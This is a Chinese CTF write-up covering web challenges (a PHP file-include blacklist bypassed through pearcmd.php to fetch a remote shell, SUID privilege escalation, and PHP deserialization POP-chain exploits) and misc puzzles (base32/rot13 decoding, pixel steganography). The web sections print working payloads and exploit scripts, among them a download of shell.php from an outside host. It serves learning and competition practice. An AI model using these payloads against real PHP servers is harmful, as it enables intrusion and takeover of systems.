本WP来自来自队友 @Artone ,这里搬来自己记录下 备忘录
WEB
rce_me
Docker PHP裸文件本地包含综述 | 离别歌 (leavesongs.com)
题目给了源码
<?php
(empty($_GET["file"])) ? highlight_file(__FILE__) : $file=$_GET["file"];
function fliter($var): bool{
$blacklist = ["<","?","$","[","]",";","eval",">","@","_","create","install","pear"];
foreach($blacklist as $blackword){
if(stristr($var, $blackword)) return False;
}
return True;
}
if(fliter($_SERVER["QUERY_STRING"]))
{
include $file;
}
else
{
die("Noooo0");
}
题目提示要rce,而漏洞的利用点是一个include文件包含,
php环境限制了allow_url_include,所以能getshell的data和php://input都无法使用
直接包含flag回显权限不够,所以考虑rce提权
黑名单其实提供了一点线索,暗示本题通过pearcmd实现RCE
首先需要确认是否存在pearcmd.php文件,尝试包含,发现在当前目录和/usr/local/lib/php/目录下都存在pearcmd.php
pearcmd的常见思路是写文件getshell
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php
但是本题做了过滤,file由于是get传参,因此可以url编码绕过pe%61rcmd.php
但是在写文件时却不能采用此方法,$_SERVER[“QUERY_STRING”]并没有提供url解码的功能,而且将<?编码会导致文件不能将代码识别为php而失败
所以要转变一下思路,pearcmd.php的用法有很多,其中download可以下载文件,而且不经过include意味着可以实现远程文件下载
payload:
http://80.endpoint-de4ae4b3e84d47a8b1eea291004b34a0.dasc.buuoj.cn:81&&+download+http://ip:port/shell.php
利用一句话木马反弹shell,再进行一个suid的提权
payload:
find / -perm -u=s -type f 2>/dev/null
final payload:
/usr/bin/date -f /flag
step_by_step-v3
<?php
error_reporting(0);
class yang
{
public $y1;//$y1 = new bei() $y1 = new cheng()
public function __construct()
{
$this->y1->magic();//访问 __call()
}
public function __tostring()
{
($this->y1)();// phpinfo()
}
public function hint()
{
include_once('hint.php');
if(isset($_GET['file']))
{
$file = $_GET['file'];
if(preg_match("/$hey_mean_then/is", $file))
{
die("nonono");
}
include_once($file);
}
}
}
class cheng
{
public $c1;//$c1 = new yang()
public function __wakeup()
{
$this->c1->flag = 'flag';
}
public function __invoke()
{
$this->c1->hint();//hint
}
}
class bei
{
public $b1;//$b1 = new yang()
public $b2;
public function __set($k1,$k2) //不可访问的变量赋值
{
print $this->b1;
}
public function __call($n1,$n2)
{
echo $this->b1;
}
}
if (isset($_POST['ans'])) {
unserialize($_POST['ans']);
} else {
highlight_file(__FILE__);
}
?>
利用点在
public function __tostring()
{
($this->y1)();// phpinfo()
}
可以读取到phpinfo
起始点在cheng::__wakeup
pop:
cheng::__wakeup ->bei::__set -> yang::__tostring
exp:
<?php
// cheng::__wakeup ->bei::__set -> yang::__tostring
class yang{
public $y1;
public function __construct($y1){
$this->y1 = $y1;
}
}
class cheng{
public $c1;
public function __construct($c1)
{
$this->c1 = $c1;
}
}
class bei{
public $b1;
public function __construct($b1){
$this->b1 = $b1;
}
}
$ya = new cheng(new bei(new yang('phpinfo')));
$ser = serialize($ya);
echo $ser;
echo urlencode($ser);
?>
Safe pop
<?php
error_reporting(E_ALL);
ini_set('display_errors', true);
highlight_file(__FILE__);
class Fun{
private $func = 'call_user_func_array';
public function __call($f,$p){
call_user_func($this->func,$f,$p);
}
public function __wakeup(){
$this->func = '';
die("Don't serialize me");
}
}
class Test{
public function getFlag(){
system("cat /flag?");
}
public function __call($f,$p){
phpinfo();
}
public function __wakeup(){
echo "serialize me?";
}
}
class A{
private $a;
public function __get($p){
if(preg_match("/Test/",get_class($this->a))){
return "No test in Prod\n";
}
return $this->a->$p();
}
}
class B{
public $p;
public function __destruct(){
$p = $this->p;
echo $this->a->$p;
}
}
if(isset($_GET['pop'])){
$pop = $_GET['pop'];
$o = unserialize($pop);
throw new Exception("no pop");
}
题目给了源码,要构造pop链,最终的目的应该是要调用Test类下的getFlag函数,在反序列化时,会销毁对象,从而会触发__destruct(),而__wakeup() :会在unserialize()时,自动调用,优先级高于destruct
为了调用Test下的getFlag函数,我们需要用到call_user_func()函数进行构造,而call_user_func()函数由call触发,
__call()//在对象中调用一个不可访问方法时调用
注意到class A有一个
return $this->a->$p();
p可控,只要让他成为一个不可访问的方法即可触发call
__get() :当从不可访问的属性读取数据。例如从对象外部访问由private和protect修饰的属性,就会调用该方法,其中传递的形参为访问属性的属性名
class B有一个调用类的功能,由此来触发class A,class中的destruct又可以由反序列化直接触发,于是就形成了一条完整的链子
$this->a->$p;
pop:
b::__destruct() -> a::__get() -> Fun::__call() -> Test::getFlag
exp:
<?php
class Fun{
}
class A{
public $a;
public function __construct($a){
$this -> a = $a;
}
}
class B{
public $p;
public $a;
public function __construct($p,$a){
$this -> p = $p;
$this -> a = $a;
}
}
$p = "Test::getFlag";
$a = new A(new Fun());
$b = new B($a,$p);
echo serialize($b);
$arr = array($b,null);
echo serialize($arr);
$serstr = serialize($arr);
$serstr = str_replace(":0:{}", ":1:{}", $serstr);
$serstr = str_replace(":1;N", ":0;N", $serstr);
echo $serstr;
echo '<br/>';
echo urlencode($serstr);
?>
这道题目的难点在于他还抛出了一个exception异常,导致程序无法正常结束,从而无法触发CG回收机制,也就无法触发destruct方法
throw new Exception("no pop");
这里可以用array数组手动释放对象,从而触发CG回收,只需要把array1的下标更改为0,就会覆盖array0的实例对象
misc
签到
给了一段编码
值得注意的是文件名33.txt
ZMJTPM33TMFGPA3STZ2JVBYSZRMGBZELT44QDLEET5GQTMEITIFJZZOMTH4K2===
这段编码就是base32没有问题,但是解出来却是乱码,于是考虑第二3指代什么
尝试rot13先解一次码,再base32成功得到flag
where_is_secret
给了一张图片,并在hint中给了encode脚本
from PIL import Image
import math
def encode(text):
str_len = len(text)
width = math.ceil(str_len ** 0.5) #长度的一半,并向上取整
im = Image.new("RGB", (width, width), 0x0) #新建一张图
x, y = 0, 0
for i in text:
index = ord(i) #转化为数字
rgb = (0, (index & 0xFF00) >> 8, index & 0xFF)
im.putpixel((x, y), rgb)
if x == width - 1:
x = 0
y += 1
else:
x += 1
return im
if __name__ == '__main__':
with open("829962.txt", encoding="gbk") as f: #以gbk的方式打开()
all_text = f.read()
im = encode(all_text)
im.save("out.bmp")
分析来看就是把文件内容gbk编码,把大于0xff的部分缩小8倍放到图片的g里,小于0xff的部分放到图片的b里
exp:
from PIL import Image
img = Image.open('out.bmp')
x, y = img.size
flag = ""
flag1 = ""
with open('ans.txt') as f:
for i in range(x):
for j in range(y):
pix = img.getpixel((j, i))
index = (pix[1] << 8) + pix[2]
flag = flag + chr(index)
# print(flag)
for i in range(1, len(flag)-1):
print(flag[i])
if(((ord(flag[i])<=125 and ord(flag[i])>=97) or (ord(flag[i])<=57 and ord(flag[i])>=48)or(ord(flag[i])<=95 and ord(flag[i])>=65))and (ord(flag[i+1])>125 or ord(flag[i+1])<48) and (ord(flag[i-1])>125 or ord(flag[i-1])<48) or ord(flag[i])==95):
flag1 = flag1 +"@"+flag[i-1] + flag[i] + flag[i+1]
print(flag1)
得到的是一段中文,在里面穿插了flag
由于有原来文本中的数字和字母,这里考虑把有可能的字母数字提取出来,以@为分隔符,根据前后判断人为筛选一遍